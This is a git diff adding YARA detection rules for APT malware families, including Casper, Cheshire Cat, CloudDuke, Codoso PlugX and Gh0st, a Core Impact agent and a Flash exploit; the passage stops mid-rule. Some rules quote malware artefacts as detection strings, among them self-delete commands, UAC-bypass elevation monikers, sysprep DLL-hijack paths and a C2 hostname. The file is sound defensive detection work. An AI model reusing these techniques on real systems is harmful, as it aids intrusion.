+		$c4 = "perfaudio.dat" fullword								// Temp File Name
+		$c5 = "Casper_DLL.dll" fullword								// Name 
+		$c6 = { 7B 4B 59 DE 37 4A 42 26 59 98 63 C6 2D 0F 57 40 } 	// Decryption Key
+		$c7 = "{4216567A-4512-9825-7745F856}" fullword 				// Mutex
+	condition:
+		all of ($a*) or
+		( $mz at 0 ) and ( 1 of ($c*) )
+}
+
+rule Casper_SystemInformation_Output {
+	meta:
+		description = "Casper French Espionage Malware - System Info Output - http://goo.gl/VRJNLo"
+		author = "Florian Roth"
+		reference = "http://goo.gl/VRJNLo"
+		date = "2015/03/06"
+		score = 70	
+	strings:
+		$a0 = "***** SYSTEM INFORMATION ******"
+		$a1 = "***** SECURITY INFORMATION ******"
+		$a2 = "Antivirus: "
+		$a3 = "Firewall: "
+		$a4 = "***** EXECUTION CONTEXT ******"
+		$a5 = "Identity: "
+		$a6 = "<CONFIG TIMESTAMP="
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/apt_cheshirecat.yar b/yara-mikesxrs/Florian Roth/apt_cheshirecat.yar
new file mode 100644
index 0000000..9a1399b
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_cheshirecat.yar	
@@ -0,0 +1,102 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-08-08
+	Identifier: Cheshire Cat
+	Version: 0.1 
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule CheshireCat_Sample2 {
+	meta:
+		description = "Auto-generated rule - file dc18850d065ff6a8364421a9c8f9dd5fcce6c7567f4881466cee00e5cd0c7aa8"
+		author = "Florian Roth"
+		reference = "https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/"
+		date = "2015-08-08"
+		score = 70
+		hash = "dc18850d065ff6a8364421a9c8f9dd5fcce6c7567f4881466cee00e5cd0c7aa8"
+	strings:
+		$s0 = "mpgvwr32.dll" fullword ascii
+		$s1 = "Unexpected failure of wait! (%d)" fullword ascii
+		$s2 = "\"%s\" /e%d /p%s" fullword ascii
+		$s4 = "error in params!" fullword ascii
+		$s5 = "sscanf" fullword ascii
+		$s6 = "<>Param : 0x%x" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 4 of ($s*)
+}
+
+/* Generic Rules ----------------------------------------------------------- */
+/* Gen1 is more exact than Gen2 - until now I had no FPs with Gen2 */
+
+rule CheshireCat_Gen1 {
+	meta:
+		description = "Auto-generated rule - file ec41b029c3ff4147b6a5252cb8b659f851f4538d4af0a574f7e16bc1cd14a300"
+		author = "Florian Roth"
+		reference = "https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/"
+		date = "2015-08-08"
+		super_rule = 1
+		score = 90
+		hash1 = "ec41b029c3ff4147b6a5252cb8b659f851f4538d4af0a574f7e16bc1cd14a300"
+		hash2 = "32159d2a16397823bc882ddd3cd77ecdbabe0fde934e62f297b8ff4d7b89832a"
+		hash3 = "63735d555f219765d486b3d253e39bd316bbcb1c0ec595ea45ddf6e419bef3cb"
+		hash4 = "c074aeef97ce81e8c68b7376b124546cabf40e2cd3aff1719d9daa6c3f780532"
+	strings:
+		$x1 = "CAPESPN.DLL" fullword wide
+		$x2 = "WINF.DLL" fullword wide
+		$x3 = "NCFG.DLL" fullword wide
+		$x4 = "msgrthlp.dll" fullword wide
+		$x5 = "Local\\{c0d9770c-9841-430d-b6e3-575dac8a8ebf}" fullword ascii
+		$x6 = "Local\\{1ef9f94a-5664-48a6-b6e8-c3748db459b4}" fullword ascii
+
+		$a1 = "Interface\\%s\\info" fullword ascii
+		$a2 = "Interface\\%s\\info\\%s" fullword ascii
+		$a3 = "CLSID\\%s\\info\\%s" fullword ascii
+		$a4 = "CLSID\\%s\\info" fullword ascii
+
+		$b1 = "Windows Shell Icon Handler" fullword wide
+		$b2 = "Microsoft Shell Icon Handler" fullword wide
+
+		$s1 = "\\StringFileInfo\\%s\\FileVersion" fullword ascii
+		$s2 = "CLSID\\%s\\AuxCLSID" fullword ascii
+		$s3 = "lnkfile\\shellex\\IconHandler" fullword ascii
+		$s4 = "%s: %s, %.2hu %s %hu %2.2hu:%2.2hu:%2.2hu GMT" fullword ascii
+		$s5 = "%sMutex" fullword ascii
+		$s6 = "\\ShellIconCache" fullword ascii
+		$s7 = "+6Service Pack " fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 350KB and 7 of ($s*) and 2 of ($a*) and 1 of ($b*) and 1 of ($x*)
+}
+
+rule CheshireCat_Gen2 {
+	meta:
+		description = "Auto-generated rule - from files 32159d2a16397823bc882ddd3cd77ecdbabe0fde934e62f297b8ff4d7b89832a, 63735d555f219765d486b3d253e39bd316bbcb1c0ec595ea45ddf6e419bef3cb"
+		author = "Florian Roth"
+		reference = "https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/"
+		date = "2015-08-08"
+		super_rule = 1
+		score = 70
+		hash1 = "ec41b029c3ff4147b6a5252cb8b659f851f4538d4af0a574f7e16bc1cd14a300"
+		hash2 = "32159d2a16397823bc882ddd3cd77ecdbabe0fde934e62f297b8ff4d7b89832a"
+		hash3 = "63735d555f219765d486b3d253e39bd316bbcb1c0ec595ea45ddf6e419bef3cb"
+		hash4 = "c074aeef97ce81e8c68b7376b124546cabf40e2cd3aff1719d9daa6c3f780532"
+	strings:
+		$a1 = "Interface\\%s\\info" fullword ascii
+		$a2 = "Interface\\%s\\info\\%s" fullword ascii
+		$a3 = "CLSID\\%s\\info\\%s" fullword ascii
+		$a4 = "CLSID\\%s\\info" fullword ascii
+
+		$b1 = "Windows Shell Icon Handler" fullword wide
+		$b2 = "Microsoft Shell Icon Handler" fullword wide
+
+		$s1 = "\\StringFileInfo\\%s\\FileVersion" fullword ascii
+		$s2 = "CLSID\\%s\\AuxCLSID" fullword ascii
+		$s3 = "lnkfile\\shellex\\IconHandler" fullword ascii
+		$s4 = "%s: %s, %.2hu %s %hu %2.2hu:%2.2hu:%2.2hu GMT" fullword ascii
+		$s5 = "%sMutex" fullword ascii
+		$s6 = "\\ShellIconCache" fullword ascii
+		$s7 = "+6Service Pack " fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and 7 of ($s*) and 2 of ($a*) and 1 of ($b*)
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_cloudduke.yar b/yara-mikesxrs/Florian Roth/apt_cloudduke.yar
new file mode 100644
index 0000000..cdc52e3
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_cloudduke.yar	
@@ -0,0 +1,77 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-07-22
+	Identifier: CloudDuke
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule CloudDuke_Malware {
+	meta:
+		description = "Detects CloudDuke Malware"
+		author = "Florian Roth"
+		reference = "https://www.f-secure.com/weblog/archives/00002822.html"
+		date = "2015-07-22"
+		score = 60
+		hash1 = "97d8725e39d263ed21856477ed09738755134b5c0d0b9ae86ebb1cdd4cdc18b7"
+		hash2 = "88a40d5b679bccf9641009514b3d18b09e68b609ffaf414574a6eca6536e8b8f"
+		hash3 = "1d4ac97d43fab1d464017abb5d57a6b4601f99eaa93b01443427ef25ae5127f7"
+		hash4 = "ed7abf93963395ce9c9cba83a864acb4ed5b6e57fd9a6153f0248b8ccc4fdb46"
+		hash5 = "ee5eb9d57c3611e91a27bb1fc2d0aaa6bbfa6c69ab16e65e7123c7c49d46f145"
+		hash6 = "a713982d04d2048a575912a5fc37c93091619becd5b21e96f049890435940004"
+		hash7 = "56ac764b81eb216ebed5a5ad38e703805ba3e1ca7d63501ba60a1fb52c7ebb6e"
+	strings:
+		$s1 = "ProcDataWrap" fullword ascii
+		$s2 = "imagehlp.dll" fullword ascii
+		$s3 = "dnlibsh" fullword ascii
+		$s4 = "%ws_out%ws" fullword wide
+		$s5 = "Akernel32.dll" fullword wide
+
+		$op0 = { 0f b6 80 68 0e 41 00 0b c8 c1 e1 08 0f b6 c2 8b } /* Opcode */
+		$op1 = { 8b ce e8 f8 01 00 00 85 c0 74 41 83 7d f8 00 0f } /* Opcode */
+		$op2 = { e8 2f a2 ff ff 83 20 00 83 c8 ff 5f 5e 5d c3 55 } /* Opcode */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 720KB and 4 of ($s*) and 1 of ($op*)
+}
+
+/* Inverse Rules ----------------------------------------------------------- */
+/* Warning: this rule works with the external variable 'filename' only       */
+
+rule Acrotray_Anomaly {
+	meta:
+		description = "Detects an acrotray.exe that does not contain the usual strings"
+		author = "Florian Roth"
+		score = 75
+	strings:
+		$s1 = "PDF/X-3:2002" fullword wide
+		$s2 = "AcroTray - Adobe Acrobat Distiller helper application" fullword wide
+		$s3 = "MS Sans Serif" fullword wide
+		$s4 = "COOLTYPE.DLL" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB 
+		and ( filename == "acrotray.exe" or filename == "AcroTray.exe" )
+		and not all of ($s*) 	
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule SFXRAR_Acrotray {
+	meta:
+		description = "Most likely a malicious file acrotray in SFX RAR / CloudDuke APT 5442.1.exe, 5442.2.exe"
+		author = "Florian Roth"
+		reference = "https://www.f-secure.com/weblog/archives/00002822.html"
+		date = "2015-07-22"
+		super_rule = 1
+		score = 70
+		hash1 = "51e713c7247f978f5836133dd0b8f9fb229e6594763adda59951556e1df5ee57"
+		hash2 = "5d695ff02202808805da942e484caa7c1dc68e6d9c3d77dc383cfa0617e61e48"
+		hash3 = "56531cc133e7a760b238aadc5b7a622cd11c835a3e6b78079d825d417fb02198"
+	strings:
+		$s1 = "winrarsfxmappingfile.tmp" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "GETPASSWORD1" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "acrotray.exe" fullword ascii
+		$s4 = "CryptUnprotectMemory failed" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2449KB and all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_codoso.yar b/yara-mikesxrs/Florian Roth/apt_codoso.yar
new file mode 100644
index 0000000..ff315b4
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_codoso.yar	
@@ -0,0 +1,335 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-01-30
+	Identifier: Codoso
+	Comment: Reduced signature set for LOKI integration
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Codoso_PlugX_3 {
+	meta:
+		description = "Detects Codoso APT PlugX Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "74e1e83ac69e45a3bee78ac2fac00f9e897f281ea75ed179737e9b6fe39971e3"
+	strings:
+		$s1 = "Cannot create folder %sDCRC failed in the encrypted file %s. Corrupt file or wrong password." fullword wide
+		$s2 = "mcs.exe" fullword ascii
+		$s3 = "McAltLib.dll" fullword ascii
+		$s4 = "WinRAR self-extracting archive" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1200KB and all of them
+}
+rule Codoso_PlugX_2 {
+	meta:
+		description = "Detects Codoso APT PlugX Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "b9510e4484fa7e3034228337768176fce822162ad819539c6ca3631deac043eb"
+	strings:
+		$s1 = "%TEMP%\\HID" fullword wide
+		$s2 = "%s\\hid.dll" fullword wide
+		$s3 = "%s\\SOUNDMAN.exe" fullword wide
+		$s4 = "\"%s\\SOUNDMAN.exe\" %d %d" fullword wide
+		$s5 = "%s\\HID.dllx" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 400KB and 3 of them ) or all of them
+}
+rule Codoso_CustomTCP_4 {
+	meta:
+		description = "Detects Codoso APT CustomTCP Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash1 = "ea67d76e9d2e9ce3a8e5f80ff9be8f17b2cd5b1212153fdf36833497d9c060c0"
+		hash2 = "130abb54112dd47284fdb169ff276f61f2b69d80ac0a9eac52200506f147b5f8"
+		hash3 = "3ea6b2b51050fe7c07e2cf9fa232de6a602aa5eff66a2e997b25785f7cf50daa"
+		hash4 = "02cf5c244aebaca6195f45029c1e37b22495609be7bdfcfcd79b0c91eac44a13"
+	strings:
+		$x1 = "varus_service_x86.dll" fullword ascii
+
+		$s1 = "/s %s /p %d /st %d /rt %d" fullword ascii
+		$s2 = "net start %%1" fullword ascii
+		$s3 = "ping 127.1 > nul" fullword ascii
+		$s4 = "McInitMISPAlertEx" fullword ascii
+		$s5 = "sc start %%1" fullword ascii
+		$s6 = "net stop %%1" fullword ascii
+		$s7 = "WorkerRun" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 400KB and 5 of them ) or
+		( $x1 and 2 of ($s*) )
+}
+rule Codoso_CustomTCP_3 {
+	meta:
+		description = "Detects Codoso APT CustomTCP Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "d66106ec2e743dae1d71b60a602ca713b93077f56a47045f4fc9143aa3957090"
+	strings:
+		$s1 = "DnsApi.dll" fullword ascii
+		$s2 = "softWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\Domains\\%s" ascii
+		$s3 = "CONNECT %s:%d hTTP/1.1" ascii
+		$s4 = "CONNECT %s:%d HTTp/1.1" ascii
+		$s5 = "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0;)" ascii
+		$s6 = "iphlpapi.dll" ascii
+		$s7 = "%systemroot%\\Web\\" ascii
+		$s8 = "Proxy-Authorization: Negotiate %s" ascii
+		$s9 = "CLSID\\{%s}\\InprocServer32" ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 500KB and 5 of them ) or 7 of them
+}
+rule Codoso_CustomTCP_2 {
+	meta:
+		description = "Detects Codoso APT CustomTCP Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "3577845d71ae995762d4a8f43b21ada49d809f95c127b770aff00ae0b64264a3"
+	strings:
+		$s1 = "varus_service_x86.dll" fullword ascii
+		$s2 = "/s %s /p %d /st %d /rt %d" fullword ascii
+		$s3 = "net start %%1" fullword ascii
+		$s4 = "ping 127.1 > nul" fullword ascii
+		$s5 = "McInitMISPAlertEx" fullword ascii
+		$s6 = "sc start %%1" fullword ascii
+		$s7 = "B_WKNDNSK^" fullword ascii
+		$s8 = "net stop %%1" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 406KB and all of them
+}
+rule Codoso_PGV_PVID_6 {
+	meta:
+		description = "Detects Codoso APT PGV_PVID Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "4b16f6e8414d4192d0286b273b254fa1bd633f5d3d07ceebd03dfdfc32d0f17f"
+	strings:
+		$s0 = "rundll32 \"%s\",%s" fullword ascii
+		$s1 = "/c ping 127.%d & del \"%s\"" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 6000KB and all of them
+}
+rule Codoso_Gh0st_3 {
+	meta:
+		description = "Detects Codoso APT Gh0st Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "bf52ca4d4077ae7e840cf6cd11fdec0bb5be890ddd5687af5cfa581c8c015fcd"
+	strings:
+		$x1 = "RunMeByDLL32" fullword ascii
+
+		$s1 = "svchost.dll" fullword wide
+		$s2 = "server.dll" fullword ascii
+		$s3 = "Copyright ? 2008" fullword wide
+		$s4 = "testsupdate33" fullword ascii
+		$s5 = "Device Protect Application" fullword wide
+		$s6 = "MSVCP60.DLL" fullword ascii /* Goodware String - occured 1 times */
+		$s7 = "mail-news.eicp.net" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 195KB and $x1 or 4 of them
+}
+rule Codoso_Gh0st_2 {
+	meta:
+		description = "Detects Codoso APT Gh0st Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841"
+	strings:
+		$s0 = "cmd.exe /c ping 127.0.0.1 && ping 127.0.0.1 && sc start %s && ping 127.0.0.1 && sc start %s" fullword ascii
+		$s1 = "rundll32.exe \"%s\", RunMeByDLL32" fullword ascii
+		$s13 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" fullword wide
+		$s14 = "%s -r debug 1" fullword ascii
+		$s15 = "\\\\.\\keymmdrv1" fullword ascii
+		$s17 = "RunMeByDLL32" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and 1 of them
+}
+rule Codoso_CustomTCP {
+	meta:
+		description = "Codoso CustomTCP Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "b95d7f56a686a05398198d317c805924c36f3abacbb1b9e3f590ec0d59f845d8"
+	strings:
+		$s4 = "wnyglw" fullword ascii
+		$s5 = "WorkerRun" fullword ascii
+		$s7 = "boazdcd" fullword ascii
+		$s8 = "wayflw" fullword ascii
+		$s9 = "CODETABL" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 405KB and all of them
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule Codoso_PGV_PVID_5 {
+	meta:
+		description = "Detects Codoso APT PGV PVID Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		super_rule = 1
+		hash1 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
+		hash2 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
+	strings:
+		$s1 = "/c del %s >> NUL" fullword ascii
+		$s2 = "%s%s.manifest" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them
+}
+rule Codoso_Gh0st_1 {
+	meta:
+		description = "Detects Codoso APT Gh0st Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		super_rule = 1
+		hash1 = "5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841"
+		hash2 = "7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8"
+		hash3 = "d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297"
+	strings:
+		$x1 = "cmd.exe /c ping 127.0.0.1 && ping 127.0.0.1 && sc start %s && ping 127.0.0.1 && sc start %s" fullword ascii
+		$x2 = "rundll32.exe \"%s\", RunMeByDLL32" fullword ascii
+		$x3 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" fullword wide
+		$x4 = "\\\\.\\keymmdrv1" fullword ascii
+
+		$s1 = "spideragent.exe" fullword ascii
+		$s2 = "AVGIDSAgent.exe" fullword ascii
+		$s3 = "kavsvc.exe" fullword ascii
+		$s4 = "mspaint.exe" fullword ascii
+		$s5 = "kav.exe" fullword ascii
+		$s6 = "avp.exe" fullword ascii
+		$s7 = "NAV.exe" fullword ascii
+
+		$c1 = "Elevation:Administrator!new:" wide
+		$c2 = "Global\\RUNDLL32EXITEVENT_NAME{12845-8654-543}" fullword ascii
+		$c3 = "\\sysprep\\sysprep.exe" fullword wide
+		$c4 = "\\sysprep\\CRYPTBASE.dll" fullword wide
+		$c5 = "Global\\TERMINATEEVENT_NAME{12845-8654-542}" fullword ascii
+		$c6 = "ConsentPromptBehaviorAdmin" fullword ascii
+		$c7 = "\\sysprep" fullword wide
+		$c8 = "Global\\UN{5FFC0C8B-8BE5-49d5-B9F2-BCDC8976EE10}" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and ( 4 of ($s*) or 4 of ($c*) ) or
+		1 of ($x*) or
+		6 of ($c*)
+}
+rule Codoso_PGV_PVID_4 {
+	meta:
+		description = "Detects Codoso APT PlugX Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		super_rule = 1
+		hash1 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
+		hash2 = "8a56b476d792983aea0199ee3226f0d04792b70a1c1f05f399cb6e4ce8a38761"
+		hash3 = "b2950f2e09f5356e985c38b284ea52175d21feee12e582d674c0da2233b1feb1"
+		hash4 = "b631553421aa17171cc47248adc110ca2e79eff44b5e5b0234d69b30cab104e3"
+		hash5 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
+	strings:
+		$x1 = "dropper, Version 1.0" fullword wide
+		$x2 = "dropper" fullword wide
+		$x3 = "DROPPER" fullword wide
+		$x4 = "About dropper" fullword wide
+
+		$s1 = "Microsoft Windows Manager Utility" fullword wide
+		$s2 = "SYSTEM\\CurrentControlSet\\Services\\" fullword ascii /* Goodware String - occured 9 times */
+		$s3 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify" fullword ascii /* Goodware String - occured 10 times */
+		$s4 = "<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\"><trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3" ascii /* Goodware String - occured 46 times */
+		$s5 = "<supportedOS Id=\"{e2011457-1546-43c5-a5fe-008deee3d3f0}\"></supportedOS>" fullword ascii /* Goodware String - occured 65 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 900KB and 2 of ($x*) and 2 of ($s*)
+}
+rule Codoso_PlugX_1 {
+	meta:
+		description = "Detects Codoso APT PlugX Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		super_rule = 1
+		hash1 = "0b8cbc9b4761ab35acce2aa12ba2c0a283afd596b565705514fd802c8b1e144b"
+		hash2 = "448711bd3f689ceebb736d25253233ac244d48cb766834b8f974c2e9d4b462e8"
+		hash3 = "fd22547497ce52049083092429eeff0599d0b11fe61186e91c91e1f76b518fe2"
+	strings:
+		$s1 = "GETPASSWORD1" fullword ascii
+		$s2 = "NvSmartMax.dll" fullword ascii
+		$s3 = "LICENSEDLG" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and all of them
+}
+rule Codoso_PGV_PVID_3 {
+	meta:
+		description = "Detects Codoso APT PGV PVID Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		super_rule = 1
+		hash1 = "126fbdcfed1dfb31865d4b18db2fb963f49df838bf66922fea0c37e06666aee1"
+		hash2 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
+		hash3 = "8a56b476d792983aea0199ee3226f0d04792b70a1c1f05f399cb6e4ce8a38761"
+		hash4 = "b2950f2e09f5356e985c38b284ea52175d21feee12e582d674c0da2233b1feb1"
+		hash5 = "b631553421aa17171cc47248adc110ca2e79eff44b5e5b0234d69b30cab104e3"
+		hash6 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
+	strings:
+		$x1 = "Copyright (C) Microsoft Corporation.  All rights reserved.(C) 2012" fullword wide
+	condition:
+		$x1
+}
+rule Codoso_PGV_PVID_2 {
+	meta:
+		description = "Detects Codoso APT PGV PVID Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		super_rule = 1
+		hash1 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
+		hash2 = "b631553421aa17171cc47248adc110ca2e79eff44b5e5b0234d69b30cab104e3"
+		hash3 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
+	strings:
+		$s0 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost" fullword ascii
+		$s1 = "regsvr32.exe /s \"%s\"" fullword ascii
+		$s2 = "Help and Support" fullword ascii
+		$s3 = "netsvcs" fullword ascii
+		$s9 = "%SystemRoot%\\System32\\svchost.exe -k netsvcs" fullword ascii /* Goodware String - occured 4 times */
+		$s10 = "winlogon" fullword ascii /* Goodware String - occured 4 times */
+		$s11 = "System\\CurrentControlSet\\Services" fullword ascii /* Goodware String - occured 11 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 907KB and all of them
+}
+rule Codoso_PGV_PVID_1 {
+	meta:
+		description = "Detects Codoso APT PGV PVID Malware"
+		author = "Florian Roth"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		super_rule = 1
+		hash1 = "41a936b0d1fd90dffb2f6d0bcaf4ad0536f93ca7591f7b75b0cd1af8804d0824"
+		hash2 = "58334eb7fed37e3104d8235d918aa5b7856f33ea52a74cf90a5ef5542a404ac3"
+		hash3 = "934b87ddceabb2063b5e5bc4f964628fe0c63b63bb2346b105ece19915384fc7"
+		hash4 = "ce91ea20aa2e6af79508dd0a40ab0981f463b4d2714de55e66d228c579578266"
+		hash5 = "e770a298ae819bba1c70d0c9a2e02e4680d3cdba22d558d21caaa74e3970adf1"
+	strings:
+		$x1 = "Cookie: pgv_pvid=" ascii
+		$x2 = "DRIVERS\\ipinip.sys" fullword wide
+
+		$s1 = "TsWorkSpaces.dll" fullword ascii
+		$s2 = "%SystemRoot%\\System32\\wiaservc.dll" fullword wide
+		$s3 = "/selfservice/microsites/search.php?%016I64d" fullword ascii
+		$s4 = "/solutions/company-size/smb/index.htm?%016I64d" fullword ascii
+		$s5 = "Microsoft Chart ActiveX Control" fullword wide
+		$s6 = "MSChartCtrl.ocx" fullword wide
+		$s7 = "{%08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X}" fullword ascii
+		$s8 = "WUServiceMain" fullword ascii /* Goodware String - occured 2 times */
+	condition:
+		( uint16(0) == 0x5a4d and ( 1 of ($x*) or 3 of them ) ) or
+		5 of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_coreimpact_agent.yar b/yara-mikesxrs/Florian Roth/apt_coreimpact_agent.yar
new file mode 100644
index 0000000..7c3db12
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_coreimpact_agent.yar	
@@ -0,0 +1,44 @@
+/*
+	Core Impact Agent known from RocketKitten and WoolenGoldfish APT
+*/
+
+
+rule CoreImpact_sysdll_exe {
+	meta:
+		description = "Detects a malware sysdll.exe from the Rocket Kitten APT"
+		author = "Florian Roth"
+		score = 70
+		date = "27.12.2014"
+		hash = "f89a4d4ae5cca6d69a5256c96111e707"
+	strings:
+		$s0 = "d:\\nightly\\sandbox_avg10_vc9_SP1_2011\\source\\avg10\\avg9_all_vs90\\bin\\Rele" ascii
+		
+		$x1 = "Mozilla/5.0" fullword ascii
+		$x2 = "index.php?c=%s&r=%lx&u=1&t=%s" fullword ascii
+		$x3 = "index.php?c=%s&r=%lx" fullword ascii
+		$x4 = "index.php?c=%s&r=%x" fullword ascii
+		$x5 = "127.0.0.1" fullword ascii
+		$x6 = "/info.dat" fullword ascii
+				
+		$z1 = "Content-Type: multipart/form-data; boundary=%S" fullword wide	
+		$z2 = "Encountered error sending error message to client" fullword ascii
+		$z3 = "Encountered error building error message to client" fullword ascii
+		$z4 = "Attempting to unlock uninitialized lock!" fullword ascii
+		$z5 = "connect_back_tcp_channel#do_connect:: Error resolving connect back hostname" fullword ascii
+		$z6 = "select_event_get(): fd not found" fullword ascii
+		$z7 = "Encountered error sending syscall response to client" fullword ascii
+		$z8 = "GetProcAddress() error" fullword ascii
+		$z9 = "Error entering thread lock" fullword ascii
+		$z10 = "Error exiting thread lock" fullword ascii
+		$z11 = "connect_back_tcp_channel_init:: socket() failed" fullword ascii
+		$z12 = "event_add() failed for ev." fullword ascii
+		$z13 = "Uh, oh, exit() failed" fullword ascii
+		$z14 = "event_add() failed for ev." fullword ascii
+		$z15 = "event_add() failed." fullword ascii
+		$z16 = "needroot" fullword ascii
+		$z17 = "./plugins/" fullword ascii	
+	condition:
+		$s0 or 
+		all of ($x*) or 
+		8 of ($z*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/apt_cve2015_5119.yar b/yara-mikesxrs/Florian Roth/apt_cve2015_5119.yar
new file mode 100644
index 0000000..eed6f6d
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_cve2015_5119.yar	
@@ -0,0 +1,19 @@
+
+rule Flash_CVE_2015_5119_APT3 {
+    meta:
+        description = "Exploit Sample CVE-2015-5119"
+        author = "Florian Roth"
+        score = 70
+        yaraexchange = "No distribution without author's consent" 
+        date = "2015-08-01"
+    strings:
+        $s0 = "HT_exploit" fullword ascii
+        $s1 = "HT_Exploit" fullword ascii
+        $s2 = "flash_exploit_" ascii
+        $s3 = "exp1_fla/MainTimeline" ascii fullword
+        $s4 = "exp2_fla/MainTimeline" ascii fullword
